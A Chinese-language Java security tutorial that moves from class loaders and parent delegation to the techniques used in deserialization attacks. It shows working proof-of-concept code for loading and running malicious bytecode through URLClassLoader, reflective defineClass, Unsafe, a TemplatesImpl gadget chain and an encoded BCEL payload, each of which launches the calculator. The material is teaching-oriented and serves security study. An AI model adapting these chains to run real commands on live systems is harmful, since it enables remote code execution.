类加载器及双亲委派
类加载器有什么用
加载 Class 文件
以下列代码为例
1
| Student student = new Student();
|
我们知道,Student 本身其实是一个抽象类,是通过 new 这个操作,将其实例化的,类加载器做的便是这个工作。
ClassLoader 的工作如图所示

加载器有多种,主要分为这四类加载器:
- 虚拟机自带的加载器
- 启动类(根)加载器
- 扩展类加载器
- 应用程序加载器
加载器简介
引导类加载器
引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。
不继承 java.lang.ClassLoader
类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar
目录当中。(同时处于安全考虑,BootstrapClassLoader
只加载包名为 java
、javax
、sun
等开头的类)。
扩展类加载器(ExtensionsClassLoader)
扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader
类实现,用来在 /jre/lib/ext
或者 java.ext.dirs
中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
App类加载器(AppClassLoader)
App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader
实现,一般通过通过( java.class.path
或者 Classpath
环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader()
来获取它。
双亲委派机制
在 Java 开发当中,双亲委派机制是从安全角度出发的。
从报错的角度感受双亲委派机制
新建一个 java.lang的文件夹,在其中新建 String.java 的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package java.lang;
public class String {
public String toString() { return "Hello"; }
public static void main(String[] args) { String s = new String(); s.toString(); }
}
|
我们自己定义了一个 java.lang
的文件夹,并在文件夹中定义了 String.class,还定义了 String 这个类的 toString 方法。这段程序看似没有什么问题,我们运行一下。
然而运行会报错。

报错也十分耐人寻味,居然是报错找不到main方法,我们的main方法可是明晃晃的定义在文件中的。那为什么还会报错,这里就提到双亲委派机制了,双亲委派机制是从安全角度出发的。
首先,我们要知道 Java 的类加载器是分很多层的,如图。

我们的类加载器在被调用时,也就是在 new class 的时候,它是以这么一个顺序去找的 BOOT —> EXC —-> APP
如果 BOOT 当中没有,就去 EXC 里面找,如果 EXC 里面没有,就去 APP 里面找。
- 所以我们之前报错的程序当中,定义的
java.lang.String
在 BOOT 当中是有的,所以我们自定义 String 时,会报错,如果要修改的话,是需要去 rt.jar 里面修改的,这里就不展开了。
从正确的角度感受双亲委派机制
我们新建的 java.lang.String
报错了,是因为我们定义的 String 和 BOOT 包下面的 String 冲突了,所以才会报错,我们这里定义一个 BOOT 和 EXC 都没有的对象试一试。
在其他的 文件夹下,新建 Student.java,键入代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
public class Student {
public String toString(){ return "Hello"; }
public static void main(String[] args) { Student student = new Student();
System.out.println(student.getClass().getClassLoader()); System.out.println(student.toString()); }
}
|
打印加载器,输出结果如下:

根据打印的信息我们可以知道,我们定义的 Student 类在 APP 加载器中找到了。
各场景下代码块加载顺序
这里的代码块主要指的是这四种
- 静态代码块:
static{}
- 构造代码块:
{}
- 无参构造器:
ClassName()
- 有参构造器:
ClassName(String name)
Case 1 实例化对象
这里有两个文件,分别介绍一下用途:
Person.java
:一个普普通通的类,里面有静态代码块、构造代码块、无参构造器、有参构造器、静态成员变量、普通成员变量、静态方法。
Main.java
:启动类
我们定义如下的一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
public class Person { public static int staticVar; public int instanceVar;
static { System.out.println("静态代码块"); }
{ System.out.println("构造代码块"); }
Person(){ System.out.println("无参构造器"); } Person(int instanceVar){ System.out.println("有参构造器"); }
public static void staticAction(){ System.out.println("静态方法"); } }
|
然后我们通过如下代码去调用它
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) { Person person = new Person(); } }
|
输出结果如下

结论
通过 new
关键字实例化的对象,先调用静态代码块,然后调用构造代码块,最后根据实例化方式不同,调用不同的构造器。
Case 2 调用静态方法
直接调用类的静态方法,我们修改Main.java
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) { Person.staticAction(); } }
|
运行结果如下:

结论
不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法
Case 3 对类中的静态成员变量赋值
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) { Person.staticVar = 1; } }
|
运行结果如下:

结论
在对静态成员变量赋值前,会调用静态代码块
Case 4 使用 class 获取类
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) { Class c = Person.class; } }
|

结论
利用 class
关键字获取类,并不会加载类,所以什么都不会发生
Case 5 使用 forName 获取类
forName有三种方法调用。
First
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) throws ClassNotFoundException { Class.forName("org.example.Person"); } }
|

Second
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) throws ClassNotFoundException { Class.forName("org.example.Person", true, ClassLoader.getSystemClassLoader()); } }
|

Third
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) throws ClassNotFoundException { Class.forName("org.example.Person", false, ClassLoader.getSystemClassLoader()); } }
|

结论
Class.forName(className)
和Class.forName(className, true, ClassLoader.getSystemClassLoader())
等价,这两个方法都会调用类中的静态代码块,如果将第二个参数设置为false
,那么就不会调用静态代码块
Case 6 使用 ClassLoader.loadClass() 获取类
1 2 3 4 5 6 7
| package org.example;
public class Main { public static void main(String[] args) throws ClassNotFoundException { Class.forName("org.example.Person", false, ClassLoader.getSystemClassLoader()); } }
|
结论
ClassLoader.loadClass()
方法不会进行类的初始化,当然,如果后面再使用newInstance()
进行初始化,那么会和场景一、实例化对象
一样的顺序加载对应的代码块。
动态加载字节码
字节码
什么是字节码?
严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。
而字节码的诞生是为了让 JVM 的流通性更强,这是什么意思呢?

类加载器的原理
这里我就不做赘述了,推荐大家看这篇文章:
https://blog.csdn.net/qq_35971258/article/details/147838657
总之整体的流程如下:
1 2 3 4 5 6
| ClassLoader —-> SecureClassLoader —-> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
|
下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。Java 动态字节码的一些用法
利用 URLClassLoader 加载远程 class 文件
URLClassLoader
实际上是我们平时默认使用的 AppClassLoader
的父类,所以,我们解释 URLClassLoader
的工作过程实际上就是在解释默认的 Java
类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path
和 java.class.path
中列举到的基础路径(这些路径是经过处理后的 java.net.URL
类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader
来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file
,则使用 FileLoader
来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file
,则使用最基础的 Loader
来寻找类。
我们一个个看
file 协议
我们创建如下的Calc类
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Calc { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
编译后我们会得到一个Calc.class
的文件位于target
的clacces
目录下,我们把它复制到C:\tmp\classes

接着编写代码使用URLClassLoader去加载class文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:/tmp/classes/")}); Class calc = urlClassLoader.loadClass("Calc"); calc.newInstance(); } }
|
运行后即可弹出计算器

HTTP协议
我们在C:\tmp\classes
执行如下命令
1
| python -m http.server 8081
|
启动一个web服务,修改URLClassLoader的内容,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8081/")}); Class calc = urlClassLoader.loadClass("Calc"); calc.newInstance(); } }
|
运行后即可弹出计算器。
file+jar协议
使用如下命令打包class文件
1
| jar -cvf Calc.jar Calc.class
|
修改代码,加载恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///C:/tmp/classes/Calc.jar!/")}); Class calc = urlClassLoader.loadClass("Calc"); calc.newInstance(); } }
|
运行即可弹出计算器。
HTTP+jar协议
修改代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http:/127.0.0.1:8081/Calc.jar!/")}); Class calc = urlClassLoader.loadClass("Calc"); calc.newInstance(); } }
|
启动即可弹出计算器。
利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。

从前面的分析可知:
loadClass()
的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()
方法;
findClass()
根据URL指定的方式来加载类的字节码,其中会调用defineClass()
;
defineClass
的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass
是一个 native 方法,逻辑在 JVM 的C语言代码中。
我们跟进 ClassLoader 当中,去看一看 DefineClass
是怎么被调用的。

解释一下这个方法中各个参数的作用
name
为类名,b
为字节码数组,off
为偏移量,len
为字节码数组的长度。
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass()
方法进行字节码的加载,然后实例化之后即可弹 shell
编写如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example;
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class")); Class c = (Class) method.invoke(classLoader, "Calc", code, 0, code.length); c.newInstance(); } }
|
使用ClassLoader#defineClass
直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);
,这在平常的反射中是无法调用的。
在实际场景中,因为 defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl
的基石。
Unsafe 加载字节码
Unsafe中也存在defineClass()
方法,本质上也是 defineClass
加载字节码的方式。

这里的 Unsafe
方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.example;
import sun.misc.Unsafe;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class Main { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException, InstantiationException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class); byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class")); Class calc = (Class) defineClassMethod.invoke(unsafe, "Calc", code, 0, code.length, classLoader, null); calc.newInstance(); } }
|
TemplatesImpl 加载字节码
先看看这个TemplatesImpl包的构造图

可以看到在 TemplatesImpl
类中还有一个内部类 TransletClassLoader
,这个类是继承 ClassLoader
,并且重写了 defineClass
方法。

简单来说,这里的 defineClass
由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。我们从 TransletClassLoader#defineClass()
向前追溯一下调用链:
1 2 3 4 5
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
追到最前面两个方法 TemplatesImpl#getOutputProperties()
和 TemplatesImpl#newTransformer()
,这两者的作用域是public,可以被外部调用。
我们尝试用 TemplatesImpl#newTransformer()
构造一个简单的 POC。
首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet
,因为继承了这一抽象类,所以必须要重写一下里面的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesBytes extends AbstractTranslet {
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public TemplatesBytes() throws IOException { super(); Runtime.getRuntime().exec("Calc"); } }
|
因为是一整条链子,参考最开始我们讲的 URLDNS 链,我们需要设置其一些属性值,从而让我们的链子传递下去。这里贴出POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import sun.misc.Unsafe;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class Main { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\TemplatesBytes.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
1 2 3 4 5
| TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
|
主要是三个私有类的属性
1
| setFieldValue(templates, "_name", "Calc");
|

getTransletInstance中_name不能为空,链子的下一部分为 defineTransletClasses
,继续跟进。

_bytecodes不能为空。_tfactory必须是TransformerFactoryImpl对象,因为 TemplatesImpl#defineTransletClasses()
方法里有调用到 _tfactory.getExternalExtensionsMap()
,如果是 null 会出错。运行即可成功弹出计算器。

利用 BCEL ClassLoader 加载字节码
什么是 BCEL?
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository
和 Utility
来利用: Repository
用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility
用于将原生的字节码转换成BCEL格式的字节码:
继续使用之前的编译的Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class Main { public static void main(String[] args) throws ClassNotFoundException, IOException { Class calc = Class.forName("Calc"); JavaClass javaClass = Repository.lookupClass(calc); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); } }
|
上述代码已经能够弹处计算器了。这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
1 2 3 4 5 6 7 8 9
| package org.example;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { new ClassLoader().loadClass("$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b$af$b5$5d$HBB$S$9a$W$da$A$z$J$87$e6$c2$zQ$_$a8$95$aa$g$a8$IJ$d5$e3fY$c2$82$b1$91$e3$40$feQ$cf$b9$b4$I$a4$f6$ce$8fB$9du$a34Rj$c93$9e$f7$de$bc$9d$f1$3e$3e$dd$ff$C$b0$87$86$D$hk$O$9e$a3f$e1$85$c9$_9$d696$i$e4$f0$8a$e35G$9d$n$d7$d1$81$8e$df3$a4$h$cd$kCf$3f$3cU$M$cb$9e$O$d4$e1$e8$aa$af$a2$T$d1$f7$J$vz$a1$U$7eOD$da$d4S0$T$9f$eb$nyx$fb$c2$97m$G$ab$p$fd$a9$j$p$ba$ec$5d$88$h$d1$d2a$eb$d3$d1$87$b1T$d7$b1$O$D$92$e5$bb$b1$90$97$H$e2$3a$b1$a1$a1$Y$9cn8$8a$a4$fa$a8$8d$adm$ec$de$99$5e$X$O$9eql$ba$d8$c26$9dG$pH$Xo$f0$96$a1$f4$lo$86Z$82$fa$o$Y$b4$8eGA$ac$af$d4$8c4$5e$3bfC$f2$60$u$fc$T$k$f5$_$94$8c$ZV$Wzi$ae$81$8agE$b9$d1$f4$W4$b4OF$8d$VY$ee4$e6$d8n$i$e9$60$d0$9eo$f8$S$85R$N$87$d4$b06$af$3c9$8f$c2$5b$f3$p$da$cd$k$ea$b0$e8$d6$cc$93$C3$cbSt$a9jQf$94$b3$bb$3f$c1$s$J$9d$a7$98K$c04$96$u$ba$7f$FXF$81$b2$85$95Y$f3$Z$v$MW$bdC$aa$98$fe$81$cc$d7$ef$c8$7f$7e$40$ee$h$b9$f1$df$93$84$b4I$9a$r$a1$b1$ad$d0$971$b7$T$94$Tf$R$e6$cc$8e$c9$T$5eD$89$aaUz9R$kG$d9$s$a2$92LV$fd$D$M$f3$G$J$84$C$A$A").newInstance(); } }
|
为什么要在前面加上 $$BCEL$$
呢?这里引用一下p神的解释:
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()
方法。
在 ClassLoader#loadClass()
中,其会判断类名是否是 $$BCEL$$
开头,如果是的话,将会对这个字符串进行 decode
小结
通过这篇文章我们需要知道的是字节码和安全有什么关系,上面所有链子的最终目的都是class文件,也就是字节码文件,我们所做的工作就是为了调用这些class。通过调用这些class文件执行我们的链子。